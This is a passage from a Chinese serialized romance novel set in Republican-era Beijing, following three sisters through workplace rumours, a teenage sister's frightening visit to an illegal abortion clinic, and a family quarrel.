可惜白瑾璎既不发笑,也不发怒,只一双眼睛既冷又静地看着他,孙立学一出独角戏唱不下去,反倒引了满教室的学生都盯着他看,只好讪讪地撇嘴收声。白瑾璎这才道:“这是子虚乌有的事,你从哪里听来的?” 孙立学没了刚才那股嚣张劲儿,扯了扯嘴角道:“大伙儿都在说呢,我哪儿记得是哪里。” 要和孙立学掰扯,那是扯不清的,是以白瑾璎只是很严肃地让他来擦黑板,又用洋文催了他一遍,搞得孙立学的脸上很挂不住,且六班的学生,也知道了这一消息绝不真实。但在白瑾璎的心里,到底又多添了一桩心事。 下课回到办公室,隔壁桌的吴老师一见了她,竟也笑嘻嘻地凑过来小声道:“你和程□□的事,是真的吗?你们藏得真好,我一点儿也不知道哩!不错不错,我看程□□为人很——” 白瑾璎做不出一点笑脸,头一回抢白别人道:“根本没有的事,我正为此发愁,这到底是谁传出来的?” 吴老师怔楞一下,吃惊道:“竟是假的吗?这——你要问谁传的,那我真说不出来,只记得学生里也有这样说的,教师办公室里似乎隐隐约约也听到一些。奇怪,你和程□□没有事,何以会无中生有呢?” 说完,又将嘴闭得紧紧的,对于恋爱恭喜之类的话,绝口不再提。 见白瑾璎愁容满面地锁着眉头,到底开口安慰她:“不过有另一件好事,绝不是假的,上周刚结束的月度汇总小考,分数已批出来了。我去偷瞧了一眼,你们六班的洋文成绩,真是漂亮!”他甚至情不自禁地击了一下掌,又向缪昌平的座位张望一眼,压低了声音道,“把先进班,也给超过啦!” 白瑾璎的情绪多少好转一些,谢了他两句。 哪知没过多久,又有一位平日里和白瑾璎关系不坏的国文女老师凑过来,要来和她道恭喜。白瑾璎一样正色否认,连旁边的吴老师也探头来问:“小李老师,你又是哪里听来的?何以这假的消息,传得这样广?” 那姓李的老师也奇怪:“是我班上的学生,三号班,上课偷偷地传纸条,被我没收了,那上头就写着呢。” 两人带着疑问,那目光又再一次看向白瑾璎。至此,白瑾璎的心情已是很低沉了,只思忖片刻,便道:“我去找校长谈一谈,这个谣言太害人,我非得制止不可。” 随即去了校长室,偏偏这样不凑巧,秦校长正值外出,去天津的友校见学参观,少说也要三天后才能回来。白瑾璎难得心急起来,脚下一顿,转而去了教务办公室。 教务办公室里,程佩生倒是好好地坐在办公桌后写着教案。见白瑾璎来了,先就对她扬起很亲切的微笑,然见她面色不善,那笑容也就收敛起来。 白瑾璎也不拐弯抹角,话说得又客气又直接:“程老师,我想来想去,这件事应当找你。一来,秦校长不在,你是教育局派下的教务专员,多少有暂代她的权利;二来,关于你我的谣言传的很盛,我不信你没有耳闻。何以我因病休息了两天,回来就流言四起了呢?你是流言里另一位主人公,我很想听听你怎样说。” 程佩生的笑脸彻底隐下去,嘴唇紧抿着,放冷了声音说:“你是在指责我没能未卜先知吗?还是疑心这谣言是我放出去的?” 白瑾璎道:“我不管这些,而是你明知道谣言不实,你有何作为呢?” 程佩生无言地和她对峙,到底在那透亮直白的目光里败下阵来,语气也放软不少,道:“我确实也听说了,但凡别人来问我的,我都严词否认;可若别人不问,我也不能抓着他去解释,是不是?” “谣言之所以难办,正因它一旦传开了,就很难追溯源头。设若大张旗鼓地去澄清,我又担心‘防民之口,甚于防川。本来,传闲话的人只三四成,就因为我们广而告之地去否认,所有人的猎奇心,都要被激起了。又有一些学生,你越否认,他越认为你是心虚,更要引起相反的效果。” 程佩生叹了口气,道:“我的意思,就是等秦校长回来再做定夺。在这一类事上,她总归更有经验,并且她说的话,也更有威慑力量。” 那就是只能等了。 可程佩生的话,并不是全无道理,白瑾璎自己也不晓得,设若真的公开否认,眼下还是私下流传的谣言,会不会直接传到明面上来。她从没碰到过这种事,正是心烦意乱的时候,只听门外一阵吵闹声,却是两位家长太太找来了教务处。 两人一进门就问程佩生是不是学校管教务的专员,听到说是,那就吵开了。 一个咄咄逼人道:“我听说,贵校新来的洋文老师在学校里和另一个姓程的老师大谈恋爱,到底是学洋文的,行事就是开放,只不过这是在学校里,对年轻学生的影响多么不好!” 另一个也说:“就是这个道理!都说上梁不正下梁歪,本来该本本分分读书的学生,看见老师都谈起恋爱来了,岂不是个个有样学样,那还读什么书?” 她们自顾自说得起劲,可对着程佩生和站在一旁的白瑾璎并没有反应,可见并不真的认识口中批判的这两个人物,只是对这一则谣言,很义愤填膺罢了。可当程佩生问及孩子所在的班级时,这两人又支吾了一下,答曰一个在一班,一个在三班。 程佩生向白瑾璎使了个眼色,示意她先离开,转而微微冷下脸色,对着两位家长道:“据我知道的,那位新来的洋文老师既不教一班,也不教三班,和您二位的孩子,简直没有交集。” 其中一个一下就涨红了脸,强词夺理道:“专员老师,你是不信我说的话了?她虽然不教我的孩子,可学校是什么地方?何况学生间的交流那样密切,有什么事,大家都会知道的呀!” 其实,先进班的家长针对白瑾璎,也有自己的想法。 明明学校里有一位更好的老师,却怎么也不教自己的孩子,那就干脆拉下马来,让后进班也占不到便宜好了! 另一位太太也缩在边上弱弱附和道:“是呀,我看那新老师为人就不好。我听佳明妈妈说,上回她专程等在校门口,请新老师转去教先进班,只不过不当心把新老师的胳膊拉疼了,那老师就不答应教。气量那样小,忒记仇了!” 白瑾璎站在旁边,早已气得脸色煞白,眼眶里转着眼泪。 她长到这么大,从没感受过这样的委屈,甚至生出一种迷茫来:自己拼了命地用心对待每一件事,难道是错的吗?怎么到头来,所有事都不顺利,所有人都来责备自己的不是呢? 她再也听不下去,轻手轻脚地径自离开教务办公室,也不管还有半个钟头才放学,抹着脸上的眼泪一路往校门的方向走。 回家,回家。 这一片流言蜚语声里,她一秒钟也待不下去,只想逃回家去。 至于她走之后的事:教务办公室,程佩生已然摆出了公事公办的冷脸,拿出纸笔对两位太太道:“劳驾写下二位孩子的名字班级,这一件事,敝校一定从严查处,另外——还没有自我介绍,敝姓程,程佩生。” 而另一件,在教学楼三楼的过道上,缪昌平正看见了白瑾璎离校的背影,伸手一指,对同行的另两个老师玩笑道:“喏!还是白老师厉害,来趟学校,都是洋车专程来接送呢!” 第69章 第 69 章 看来我在你眼里近乎无所…… 白瑾璎并不是自己上车的, 不说她并不知道蒋牧城会来接人,就当时的情形而言,连他的车停靠在路边, 恐怕都留意不到。 是蒋牧城看见她人影掠过, 没有一点停留的意思, 便自己下车来拦人, 见到白瑾璎脸上挂了眼泪的样子, 倒吃了一惊,敛眉问道:“怎么回事?有人叫你受气了?那个姓徐的?” 白瑾璎想不到自己哭鼻子的软弱样子被蒋牧城抓了现行,窘迫之余,又生出一丝难为情, 忙说:“没有, 不是。” 她匆忙环顾四周, 看到那辆熟悉的黑色洋车后,先一步小跑着坐了上去, 等蒋牧城拉开驾驶座的车门坐进来时, 她已拿手帕擦干净了泪痕, 只眼眶还红肿着。 蒋牧城坐下了, 却并不急着开车,只是用耐心又疑问的神情将白瑾璎望着, 要等她一句解释似的。 后者怯怯地回望了一眼, 对上他的视线时, 手上的帕子在细白的手指间缠来绕去, 到底挤出一点笑容来,说:“其实没什么事,我、学校里的任务太重,我的译文也进行得很不顺利, 我实在” 说到这里,眉间耸动一下,似乎又生出一丛克制不住的委屈,要带出哭腔来。 蒋牧城肃然的脸色这才缓和一点,只余下关切,问:“你觉得太累吗?等到了周末,带你去兜一兜风,好不好?你责任心很重,学校的事,恐怕丢不开手,那就先把译著的事放一放。人就好比这汽车,坏了就要修理,没油了就要加,总是绷紧了神经,精力枯竭了,事情就做不下去了。” 白瑾璎惨惨地笑了一下:“说到底是我没有用,瑾瑜手里多少盘根错节的事务,她都可以顶下来,从来也不叫苦。到我这里,不过一点点挫折,就已经受不了了。” 蒋牧城很不赞同地否认道:“话不能这样说,人的性格与际遇,本来也是不能比较的。” 他仔细凝视了白瑾璎一眼,忽而道:“何况,是人就会有为压力而苦闷的时候。譬如我自己,刚去海关部的头一年,一样是处处碰壁,很受辛苦。怎么这一副表情,你不相信吗?” 白瑾璎被他的话引起了注意,脸上除了听他讲过往经历的新奇,实在还有一种吃惊,点头道:“我想象不出,你也有做不到的事吗?” 蒋牧城便露出一丝笑容:“看来我在你眼里近乎无所不能了,我很高兴。” 大概是他的眼神里自然带了一种直白的侵略,白瑾璎闪躲一下目光,转移话题道:“那、那你是怎么办的呢?手上的工作,总不能统统抛开不管。” 蒋牧城口吻淡淡,不太将所谓的“碰壁”放在心上的样子,道:“我的办法,一个,就是凭专业的本事解决问题;其次,就是不混杂个人感情。无论什么工作,无非就是诸多的问题等着人去解决,谁有解决的本领,那就能者居上。故而,专业和真本领不可或缺,这一点,我相信你是完全具备的。” 见白瑾璎微笑一下,又接着说:“至于不混杂个人情感,无非就是不受人言的裹挟。同僚之间,多的是明争暗斗,我何必追求人人对我交口称赞?即便有人诋毁我,可只要我能做到别人所不能,他们就离不开我,要留住我,自然就会对我客客气气了。” “设若在别人诋毁我的时候,我就伤心不平,不光绊住做事的手脚,也是白白耗费自己的情绪。” 蒋牧城说话的时候,目光时刻留意着白瑾璎的表情,见她沉思着,时不时很受教似的点一点头,那似乎自己的话对她是有用的,也就放心下来。同时踩动油门,将汽车稳稳地发动起来了。 这一边他们刚刚动身,另一边,一辆气派的洋车,已率先停在了椿樟街三十六号的门外。 宽敞的车后座上,白瑾瑜理了理自己的手袋,见没有遗漏,刚要伸手去推车门,又意识到什么似的,收回了手,扭头要去吻旁边人的脸。 孟西洲在旁边却避了一避,笑道:“这是‘道别之吻吗?恕我不能接受。”随后,他整个人探过来靠到白瑾瑜的身上,却又越过她往车窗外看,问,“不请我进去坐一坐吗?我们可是一道住过饭店的关系,我家里,你也来过多次了,我却一次也没去过你家,这似乎说不过去。” 白瑾瑜翻着手腕看一眼手表,这个时间,白瑾璎和白瑾琪一个没有下班一个没有下课,也就是虞妈在家了,请他进去喝杯茶,那很不碍事。 于是欣然答应。两人刚从车里下来,恰好和对门正要外出的余佰撞了个对脸。 余佰对这三位姓白的小姐,一向是很热切的,习惯性地就要往前凑。可惜今天孟西洲也在,打眼一瞧见这位身形修长的先生,余佰先就吃了一惊,又被他身上的气势威吓住一般,非但没有前进,反而下意识地后退了一小步。 待本人意识到时,很有几分尴尬流露在脸上,可一看到白瑾瑜,那尴尬又转为谄笑了,向她打招呼道:“密斯白,今天好早呀!我看瑾琪小姐最近拜了新的老师,可是演艺之路有了进展?请一定替我恭贺她一声。” 余佰的话,白瑾瑜一向不怎么上心,不过他身上总有种把人逗乐的滑稽感,平时倒也愿意敷衍他几句。 这次同样随口问道:“新老师?我怎么不知道?瑾琪自己和你说的?” 白瑾瑜不过随口一问,余佰却当是自己和白瑾琪套近乎的行径给人看穿了,脸上一红,讪笑着解释道:“哪儿能呀,瑾琪小姐连密斯白也不透露,怎么会告诉我,不过是我偶然看见她和一位女士在咖啡馆里谈话,瑾琪小姐不住地掉眼泪哩!一会儿哭一会又笑,那约莫就是喜极而泣的泪水吧。” 白瑾瑜听到一半,已觉出不对劲来。要白瑾琪哭一哭,那可不是容易事,设若有人给她一个机遇,她只会欢天喜地,哪里会哭? 于是追问道:“和她谈话的女士长的什么样子?” 余佰这个记者,倒是有些记人的本领,略回想一下,便开始了一通描述。他兀自说得起劲,没注意到白瑾瑜越是听,脸上的笑容便越往下沉,到最后,只剩下一份冷凝了。 中途,余佰瞥了眼手表,惊呼道:“哎哟!我一说话,连时间都忘了!”忙向白瑾瑜告饶一句,一溜烟地就往马路上赶。 白瑾瑜倒是笑脸相对地和他道了声谢,只是余佰的身影一从视线里消失,她即刻又拧起眉头,怒火压也压不住地狠狠冷笑了一声,道:“好啊,那小东西是好了伤疤忘了痛,陈芳藻回来了这么大的事,也不同我说!” 对于白瑾瑜的家务事,孟西洲倒也听她说过一些,且刚才女友神情上的变化,他同样留心到了。见白瑾瑜开门进屋,也就从善如流地跟上去,安抚道:“这事听上去不大好办,以防你需要人手,我现在更不能走了。” 望了愁眉深锁的白瑾瑜一眼,接着说:“不管怎么说,眼下要做的就是先把人接回家来,把话摊开了去谈。我看你这个小妹妹,也不是个是非不分又随意倒戈的人。” 白瑾瑜赞成道:“你和我想到一块儿去了。”说着,理一理洋装的领口,就要动身出门。可半途又停下了,原地踱了两步踟躇道,“不行,我现在正是气头上,看见她,路上非得和她吵起来不可。话还没有谈,就先宣告破灭了。” 她又看一眼客厅里的时钟,再过不久,就是白瑾琪下课的时间了。扭头对孟西洲道:“我得请你帮个忙,家里的司机,今天刚巧有事不在,能不能让你的司机——” 她没有说完,孟西洲已然意会了,当下接过话说:“让他去你小妹妹的学校接一接人,是不是?那没有问题,我今天留在这里,正是供你驱使的。”说罢,人已迈步走去屋外,交代事情去了。 白瑾瑜望着他的背影,心里有一瞬间的百感交集。 她当惯了家里的顶梁柱,从来都是被人依靠的一方,要说不累,怎么可能?而今总算有个人能让她依靠一二了,实在有一种久违的宽慰之感。 可惜孟西洲的司机注定是要白跑一趟了。今天是和卫生所预约好的日子,白瑾琪从白天开始便心浮气躁,坐立不安,几乎是下课铃声一响起,她便抱了书包疾步离开了学校。 走了两条街之远,才伸手招来一辆人力车,又拿出那条披肩将一张巴掌小脸围起来,留下一双警惕的眼睛窥看着四周逐渐破败的街景。 也不知人力车跑了多久,眼看天色比刚才昏暗了一层,那熟悉的破巷子终于遥遥地映入眼帘。 巷子越往深处越显得漆黑,只入口的两盏路灯投下惨白闪烁的微光。真像是一张张大了的蛇口,这两束灯光便是阴森可怖的獠牙,往里走,不知会有怎样危险的境遇。 白瑾琪原以为陈芳藻会在外头等她,可巷子口空无一人,哪里有陈芳藻的影子?再往巷子里望了一眼,那安静像是能把人吞没似的,让她无端打了个冷战。 可是非往里走不可,怕有什么用。 白瑾琪裹紧了披肩,几乎是闭了一口气埋头猛进,总算是找到了上回来过的平安卫生所。卫生所的毛玻璃大门里透着灯光,尽管把那五个红色大字照得有些瘆人,多少也让人感受到一点活人气。 白瑾琪这才小心翼翼地开始呼吸,顺着楼梯上到二楼,那走廊也是空荡荡的,可见陈芳藻确实还没有来。 第70章 第 70 章 “和我一道的人还没来,…… 白瑾琪裹紧了披肩坐在走廊的长凳子上, 这地方愈是安静,她心里愈是咚咚跳个不停,好像自己的心跳声, 都能听得一清二楚。 不一会儿, 诊室的门打开了, 上回那四十来岁的女大夫走了出来, 一眼就认出了白瑾琪, 脸上挂了热情的笑容道:“啊呀,你小姐已经到了。你看,现在正是六点钟,眼下也没有人, 不如我们就开始实施手术吧?” 白瑾琪听到“手术”两个字, 怕得整个人一抖, 当下就把头左右摇了好几下。 那女大夫又是一笑:“怕什么,我们卫生所的手术经验, 是很丰富的。何况你小姐连预约费都交了, 早做完手术, 也早点了却一件心事啊。”说着便伸出手来, 要牵白瑾琪的胳膊。 白瑾琪大骇,挣扎着站起来往后一躲, 说话时牙齿都在打颤:“和我一道的人还没来, 我不能做手术。” 那女大夫见她很不配合的样子, 便有些不耐烦:“你小姐约的是傍晚, 现在六点钟,正是我们为你空出来的时间,你到底要不要做?等过了时间,别的病人来了, 可就顾不上你了!” 白瑾琪重重地吞咽了一下,鼓足了全身的勇气回道:“做手术非同小可的,我听说大医院做流产手术,也不能保证一定就安全。我家里人不来,没有人接应照顾我,万一手术不顺利呢?你们卫生所能负手术后的责任吗?” 那女大夫放沉了脸色,不能反驳她的话,最终只是冷哼了一声,说:“你小姐执意不愿意,我们也不能强摁着你进手术室。不过再等下去,就算是预约错过了,你小姐要再想做手术,可得排在别的病人之后,并且还要另付五块钱费用的。” 说罢,挺着背脊,很傲气地又回去了诊室,将门重重地关上了。 白瑾琪顿时两腿一软,脱力一般滑坐回椅子上。她向楼梯的位置望去一眼,心里仍抱着渺茫的希望:陈芳藻一定会来的,这么大的事,她怎么能丢下自己一个人呢? 这样一想,心里除去害怕,又生出数不清的委屈和无措,眼眶一下子濡湿起来。 白瑾琪赶紧抬手擦了,自己安慰自己道:“别多想,别多想,等就是了。” 这一等,就等了一个多钟头。她在长凳子上迷糊了过去,再睁开眼的时候,窗外头的天色已经是漆黑一片了。 恰是这时候,楼梯处传来一阵上楼的脚步声,白瑾琪心里一跳,猛地扭过头去张望。可半途便醒悟过来:陈芳藻要来也是一个人来,怎么会有一阵脚步声,那恐怕不是她了。人又被空欢喜后的失落所淹没。 来人果然不是陈芳藻,而是一对母女,那女孩也是十七八岁的年纪,因为神态青涩畏怯的缘故,看着甚至比白瑾琪还要小一点。只是她半新不旧的旗袍下已经能看出一点肚子隆起的弧度,月份要比她大得多了。 听见脚步声,诊室的门又一次打开了,那女大夫再次迎了出来:“吴太太、吴小姐到了。”然她看了一眼女孩的肚子,笑容顿时又收敛了,皱眉道,“不对,看这肚子的大小,你小姐不止三个月了吧?” 那对母女之中的母亲僵笑一下,讪讪地解释:“我们来会诊的时候,确实只有三个月呀。只是孩子害怕,犹豫不决的总要劝一阵子,贵卫生所的预约又多,一来二去,这、这就近四个月——” 还没有说完,那女大夫就抬手打断她,用很公事公办的口气道:“我们做手术,三个月是一道分界线。超过三个月的,因为风险高一些,可是要额外加收一笔费用的。” 那母亲的心急完全写在脸上,咬牙道:“行行行,加费用就加费用!只要能把她肚子里的东西拿掉,多花一点钱,我也认了!” 在她们交涉的期间,那女孩就一声不响地掩着肚子站在一边,那一双纯真的眼睛小鹿似的,胆怯又好奇地偷偷看向坐着的白瑾琪。 那边很快谈妥了,女大夫总算露出满意的笑脸,道:“行了,等我们备好工具,这就可以开始了。”说着,朝诊室里喊了一个名字,便有另一个看护士似的女人托了洋铅的盘子出来,隐约可以看见里头的金属工具泛着暗哑的冷光。 两人开了走廊另一边手术室的门,进去准备了。 那母亲则拽了自己孩子的胳膊在长凳上坐下,正是白瑾琪旁边相隔不远的位置,数落道:“我真是作孽生了你!做出这种丑事不说,你看看这预约费外加费,你这是要掏空我呀!” 那女孩忍着眼泪缩成一团,她母亲见自己三棍子打不出一个屁来,又有白瑾琪这个外人在场,凭白给人看笑话。发作一通后,便嘀嘀咕咕说要去买些水果,走开了。 她母亲一走,那女孩啜泣两声,到底坐正了身体。那双小鹿似的眼睛又向白瑾琪投来怯怯的一眼,悄悄靠近她一点,几经犹豫后终于开口,细声细气地问:“姐姐你不怕吗?” 白瑾琪心道:怕啊,怎么不怕?你看我没有人陪,以为我是格外的勇敢胆大吗?其实正因为我孤身一人,那恐惧才是成倍的呀。 白瑾琪望着她正要说话,那边手术室里已经在叫人了,那姓吴的女孩一下便慌了神,人虽站了起来,却停在原地手足无措。便是这一下的工夫,白瑾琪抓住了她的手道:“你别怕,你的妈妈一直陪着你呢。” 即便那母亲总在数落人,可到底没有拍拍袖子,抛下一切甩手不管啊。她在旁边看着,又有心酸又有羡慕。 那女孩子听了,脸色虽然还是白惨惨的,多少镇定了一点,几不可闻地“嗯”了一声。和白瑾琪同样冰凉的手握了一下后,一步一挪动地,去到了那间手术室里。 大门重新关上。 自从那女孩进去后,白瑾琪的心就悬了起来,时刻留意着那里头的动静,心想:陈芳藻是绝不会出现了,她是又一次把我抛下了,那么,我真要一个人做这次手术吗?在她之后,是不是就轮到我了呢? 只不过几分钟后,这念头就彻底的打消了。 也不知那流产手术是如何进行的,只听见里头不断传出哀叫,最开始只是压抑的呻吟,随后就变成痛呼,那声音像是看不见的手,无形攥紧了白瑾琪的心脏。每每惊叫一下,白瑾琪便跟着颤抖一下。 忽而,手术室的门被人从里头推开了,传来女大夫的声音说:“要命!怎么出这么多血!” 看护士似的女人随即跑出来,只是雪白的医生服上染了一摊血红色,手上洋铅托盘里的工具,也都血迹斑斑,瞧着叫人发怵。 偏偏这个时候,女孩的母亲去而复返,一看这个架势,手里提着的袋子直直落到地上,大枣苹果滚了一地。她急得叫了声“我的儿啊!”,上前便要拦住那看护士理论。 那护士正急着跑去诊室拿止血用的棉花纱布,哪里还顾得上她,恨不得上手将她推开,凶狠道:“你拦我试试!你拦我试试!没我这个医生,你女儿的命还要不要了?!” 白瑾琪呆立着看这一出闹剧,忽然醒悟过来:我这是在做什么?大医院也不敢打保票的手术,我怎么有胆子来这名不见经传的小诊所?就因为陈芳藻把我带了来吗?我真糊涂,纵然这是个大错,值得拿性命去填补吗? 这念头一经闪现,人也跟着打了一个寒噤,在这凉气浸人的秋夜里,总算清醒了一回似的。 白瑾琪深深望了一眼手术间的大门,头也不回地往楼下跑,离开了卫生所里电灯的光亮,重新回到寂静又黑黢黢的巷子里。 她后怕得喘着粗气,还没等把狂跳的心安抚下来,就被人从后头拍了一拍肩膀。白瑾琪差点尖叫出来,后面的人倒是先于她说话了:“瑾琪小姐,还真是你啊!我前几天就在这儿看到一个身影,格外的像你,我还疑心是自己看错了呢!” 原来那天在这小巷子里三番两次张望过来又被同伴叫走的,正是余佰。 他激动的劲头过了,才古怪地看了白瑾琪一眼,问:“瑾琪小姐,这大晚上的,你怎么在这儿?据我所知,这一家卫生所可是非法经营,里头的医生,根本没有医学的资质,坑害过许多病人哩!我们这段时间,就是埋伏在这附近,要做曝光呢!” 白瑾琪的脸上实在有一丝尴尬,好在天色很黑,对面的余佰未必看得清楚,只说:“我在这里约了人,只是左等右等都不来,我只好先走了。” 忽而想到什么,又急道:“你们来了几个人?快上去!快上去!我下来的时候,上面正有一场手术失败了,设若像你说的,这里的医生都是骗子扮的,那岂不是草菅人命?得赶紧送去大的医院啊!” 余佰“啊呀”了一声,惊道:“当真?当真?”说罢,赶紧去找他值守在就近几处的同僚,三四个记者,两个直接冲去了二楼,另一个则跑去巷子口拦黄包车。 记者们各忙各的,白瑾琪便准备趁这工夫走人,想不到余佰回头看了她一眼,和几个同僚商量几句后,将脖子里的相机交给其中一个,走了过来。 说:“瑾琪小姐,我送你回去吧。这里距离椿樟街,可不近啊,我这个当邻居的,这一点责任总要尽到。” 70-80 第71章 第 71 章 眼下我是顾此失彼,托你…… 椿樟路那一边, 为了白瑾琪直到七八点钟也不回家的事,家里几个人,都快要急疯了。 起初, 是孟西洲的司机跑了一趟学校却无功而返, 这就宣告了白瑾琪是行踪不明的状态了。只是白瑾瑜明白这个小妹虽然行为跳脱, 总做不出跟着她亲妈一走了之的糊涂事, 还是耐着性子等。 但也不能白白地浪费时间。 她心里料定了和白瑾琪见面的就是陈芳藻, 白瑾琪出了家门,那就好比放飞的鸽子,很不好找。可陈芳藻呢?她是从外省进京的,坐的火车, 住的旅店, 总会留下一点记录。 于是当即联系了自己所有经营酒店的朋友, 请他们再问一问各自的朋友,看最近有没有旅店住进一个姓陈的女客, 且那旅店务必是价格实惠的。这虽是大海捞针一样的办法, 也聊胜于无了。 这个时候, 孟西洲倒是帮了大忙, 他恰好有在首都铁路局做事的朋友,便一道挂了电话, 托人去打听。 白瑾瑜在旁边补充道:“来往北京的铁路太多, 结合每一天的班次, 那简直查不到头。依我看, 就着重去查北京上海这一条路线,我从前就和瑾琪说过,按陈芳藻的胆识,绝不会撇开上海, 去到另一个人生地不熟的城市。” 想不到这一次,消息来得格外快。 对面的人道:“她什么时候、由哪里来的北京,我们还没有查到,不过今天早上,正有一位姓陈的太太坐火车离京去往上海。她是由升升旅店打电话订的车票,依照你们的描述,我看就是她了。” 白瑾瑜吃了一惊,问:“今早就走了?她订了几张票?” 对面道:“只订了一张票,正是一个人走的哩!” 这一下,连白瑾瑜都不由地在心里七上八下起来。本来,她是想通过陈芳藻来找白瑾琪的,可如今一看,陈芳藻早又逃之夭夭了,那白瑾琪会在哪里? 白瑾璎就是在这时候到家的,蒋牧城把她送进家门时,正看见白瑾瑜和孟西洲二人脸色凝重地围着电话机,这还是头一回四个人齐聚一堂的场面呢。 白瑾璎了解了事情经过后,当下急得眼眶通红,捂着脸自责道:“是我不好。我买点心回来的那天,瑾琪对我嘻嘻哈哈很快活的样子,我其实看出来她是佯装的,可我想她自尊心很强,未必乐意别人插手她在学校的事,我就没有问,我不知道是——” 她说着说着,声音就打起颤来,几乎漏出哭腔。 还是蒋牧城按住她的肩膀才稍稍镇定下来,前者果断道:“我现在就开车出去找人,另外联系附近几处警察署。瑾琪平时常去的地方,有可能去的地方,都告诉我。”在汇总完讯息后,人就迈出屋子,行动起来了。 孟西洲也把司机派遣出去,只是为防突发状况,自己则留在了椿樟街的房子里。 接下来,就真是苦等了。 白瑾璎眼眶上的红就没有消退过,其间默默淌了几滴眼泪,又怕给大家增添消极的气氛,赶忙自己擦去了。白瑾瑜倒好一些,总是头一个抢去接电话,言语也有度,实在有顶梁柱的姿态。 可即便如此,等到夜里八点钟,脸上也流露出心急如焚的神态。 她彻底坐不住了,迈着步子往玄关的方向走,坚决道:“这么等下去,绝不是办法。瑾琪要是有什么意外,我往后连觉也睡不安稳了,我也开车出去找。实在不行,只有去她戏剧社同学的家里,一个一个的问了。” 孟西洲没见过她如此急迫的样子,第一反应便是忧心,当下说:“我和你一道去,你这样,我不放心。” 站起身来,刚要去叮嘱同样含泪心焦的虞妈留在家里照顾好白瑾璎,正是在这时候,余佰护送着白瑾琪登门了。 白瑾琪瑟缩在余佰的身后,深色的大披肩掩着巴掌大的小脸,加上红肿的眼睛和垂头丧气的样子,实在有被霜打似的可怜样。 可这样子却没有激起白瑾瑜的同情心,她只觉得一阵怒火在胸口烧起来,老鹰抓住小鸡似的,一把将白瑾琪从余佰的身后扯了出来,恨恨道:“真不容易,你还晓得要回来呢!” 旁边白瑾璎听见白瑾琪回来了,当下就从沙发上站起来,要冲过来看她,却被白瑾瑜拦在边上不让她靠近。 拉着白瑾琪的胳膊接着说:“我只问你,陈芳藻回来找你了,是不是?我真是小瞧了你,原来你才是保密工作做得最好的人!”她问了一连串,结果白瑾琪就是红着眼圈闷不吭声,木木地任由她拉着,那又是一副拒不合作的姿态了。 白瑾瑜见她咬死了不供出陈芳藻的下落,冷笑起来:“你以为你不说,我就不知道吗?告诉你吧,陈芳藻早坐了今早的火车回上海去了!亏你对她很维护,可惜,她不领你的情呢!” 这一句讽刺其实不重,偏偏刺中了白瑾琪担惊受怕地苦等了一晚上的疮口,且又宣告了,她这是又一次被自己母亲给抛下了。 白瑾琪心理上受不了,终于哭喊道:“可她是我妈呀!”她的苦闷压抑到这一刻,情绪已然激动到了顶点,嘴里的话,不过脑筋地就冲出来了,“你们没有妈妈陪着到大,你们怎么会懂呢!” 这句话,一下就刺痛了两个人的心。白瑾璎淌着眼泪,连白瑾瑜都像给人蛰了一口似的,一下子放开了拉人的手,退开一步冷声道:“对,你有自己的母亲,我管你,是我管错了。” 白瑾琪喊过一句后,大脑有短暂的空白,迷蒙中看见白瑾瑜站得离自己两步远,而白瑾璎则很近地贴在她身后。 就是这两步远的距离,便好似楚河汉界一般,她们永远是亲密的一伙,而自己就是被排除在她们之外的。在搬来椿樟路之后,许多个瞬间,她还当自己已经被接纳了呢。 于是情绪上的激动刚要消退,又被喷涌上来的这一阵委屈顶上了。 白瑾琪也冷笑了一下,说:“你真是要管我吗?你是想要指挥我呀。最好家里的人都是受你掌控的员工,各个安安分分,让你省心才好。可我是个活生生的人呀,不是你的傀儡,你怎么能够掌控我呢?” 她看着白瑾瑜和白瑾璎紧靠在一起,妒忌的酸液又冒出来了,颤抖着嘴唇又说:“你爱指挥别人,就二姐姐甘于受你的指挥,难怪你们的关系总是最好!” 白瑾瑜和白瑾琪争执不下,白瑾璎站在旁边,虽没有说一句话,心里却一直受着翻江倒海般的煎熬。 她从来是闷声做事的人,有什么压力也是自己来扛,译文不顺利的压力,学校里流言蜚语的压力,学生家长不分青红皂白就来投诉的压力,统统压在她身上,早已经是不堪重负了。 白瑾琪的话,虽然可以说是无心,但实在是压垮她的最后一根稻草。 她想:在瑾琪看来,我真是甘于受人掌控的傀儡吗?我不过是从不做出格的事,也不愿意与人为难,故而别人怎样说,为着事情能顺利地进展下去,我妥协一点也不要紧,极力地去配合罢了。原来在她看来,我是这个样子的吗? 瑾琪这样看我,恐怕别的人,也是这样看我。 譬如自己带教的班级分明拿了好成绩,结果却要自己把教案共享给缪昌平;自己安分地教书育人,多余的交际一概没有,偏偏学校里就有了她的桃色绯闻。那放出谣言的人意欲何为呢?总归是想利用谣言的力量,左右她操控她吧。 就因为我是个容易掌控的人,所以他们一个一个的,都想来掌控我吗? 我偏偏不能令他们如愿。 可我该怎么做?我要怎么去对抗? 白瑾璎的脑海里,像有两股浪潮在对冲,自己就在这浪头之间,被撞得东倒西歪。同时又有一种不被善待的苦涩,就因为自己极力地容让,到头来,她反倒成了别人可以随意压榨对待的烂好人了。 这三重念头相互拉扯,反倒什么也思考不清,脑子里嗡嗡直响,似乎那烦愁,是根本挥散不去的。 白瑾璎头一回体会到了“叛逆”的感觉。 她从小到大最是循规蹈矩,这样的人在生活中多少带着忍耐,忍到了顶点,总要往极端上去宣泄一次。譬如现在,“规矩”似乎就成了“枷锁”,让人无论如何也想要挣脱。 白瑾璎在学校里受流言攻击的时候,一心想要回到家这个巢穴;可现在呆在这一团乱的家里,又一心想要逃离了。 她望着白瑾琪道:“这世上,没有谁甘愿受谁的‘指挥,我若是愿意受人‘指挥,那也是这指挥在我看来是对的。瑾琪,你连对错也分不清了吗?这世上,也不光只你心里苦闷啊——” 说到“苦闷”的时候,白瑾璎的声音狠狠地打了个颤,又猛吸一口气稳住了,扭头哀求似的对白瑾瑜道:“我知道,这种时候我不该不在,可我实在想找个地方静一静,我——” 话没有说完,成串的眼泪就扑簌簌地滚落下来。 白瑾瑜从没见过她失态至此,本来冷凝着脸和白瑾琪对视呢,这下也有点慌神,想让她先回房间去,也算是可以静一静的私密空间了。可不要这个刚找回来,那个又跑得没影了。 但转瞬之间,白瑾璎已经往门外走了,连外衣都没有拿,可见逃离的意愿之强烈。 屋外,蒋牧城将将停好了汽车,开了车门下来。 他由警察署接到了白瑾琪已经回家的电话,便不再搜寻,开车回来了。想不到刚一下车,便看见白瑾璎抹着眼泪从屋子里奔出来,大概她无心看路,一头撞进自己的怀里。 